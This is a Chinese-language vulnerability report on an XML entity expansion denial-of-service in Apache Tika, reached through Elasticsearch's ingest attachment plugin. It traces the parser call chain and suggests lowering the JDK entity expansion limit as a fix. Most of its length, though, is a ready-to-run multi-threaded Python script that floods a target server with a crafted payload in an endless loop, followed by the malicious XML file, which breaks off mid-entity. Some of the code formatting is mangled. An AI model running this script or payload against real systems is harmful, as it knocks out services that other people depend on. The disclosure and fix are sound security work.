在最近对Apache Tika的研究中，我发现其XML解析器存在一个DOS（拒绝服务）漏洞。该漏洞是由于解析器不正确地解析XML文档所致。
众所周知，核心的ingest attachment插件通过使用Apache文本提取库Tika让Elasticsearch提取常见格式（如PPT、XLS和PDF）的文件附件。因此，让我们看一下ingest attachment插件的源代码。```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
实际上，该插件使用 [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) 作为解析器来从XML文件中提取内容。进一步调查后，我们可以看到以下调用链：
* `DcXMLParser()` 继承自 [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` 使用 [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) 来解析XML文档
* `XMLReaderUtils.parseSAX` 会调用 [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
在上述函数中，我们可以看到对于 SAXParserFactory.newInstance() 对象非常有限的安全限制：```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
根据 Oracle 的解释，当启用 [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) 时，它会指示实现以安全的方式处理 XML。这可能会对 XML 结构设置限制，以避免诸如拒绝服务攻击等情况。
但实际上，它无法完全防止 [XML Entity Expansion](http://www.ws-attacks.org/XML_Entity_Expansion)。攻击者仍然可以向 ES 服务器发送精心构造的 XML 文档，通过 XML 实体扩展漏洞进行 DoS 攻击，如 `Proof of Concept` 部分所述。我检查了 Apache Tika 的源代码，他们只启用了 `XMLConstants.FEATURE_SECURE_PROCESSING` 功能，根据[这篇文章](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html)，他们可能认为这可以防止此类攻击，因为默认情况下它将实体扩展数量限制为 64,000 个。但实际上，我们仍然可以利用这 64,000 个实体扩展在内存中生成一个放大的 XML 对象。例如，POC 中 `ES_XML.xml` 的文件大小只有大约 64KB，但一旦上传到 ES 服务器上的后端 Tika 服务器，Tika 将不得不分配至少 6MB 的内存（6MB / 64KB = 100 倍）来解析它，从而导致 CPU 利用率迅速上升。
因此，根据我的理解，一种可能的修复方法是设置以下系统属性，这将大大限制影响，如 [Oracle 文档](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html)所述：```
jdk.xml.entityExpansionLimit=1
以下演示已在使用 Tika 1.18 的 ElasticSearch 6.3.31 上测试并验证：
poc_dos_es.py：```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* 创建一个精心构造的XML文档并保存为 `ES_XML.xml`:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "12345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000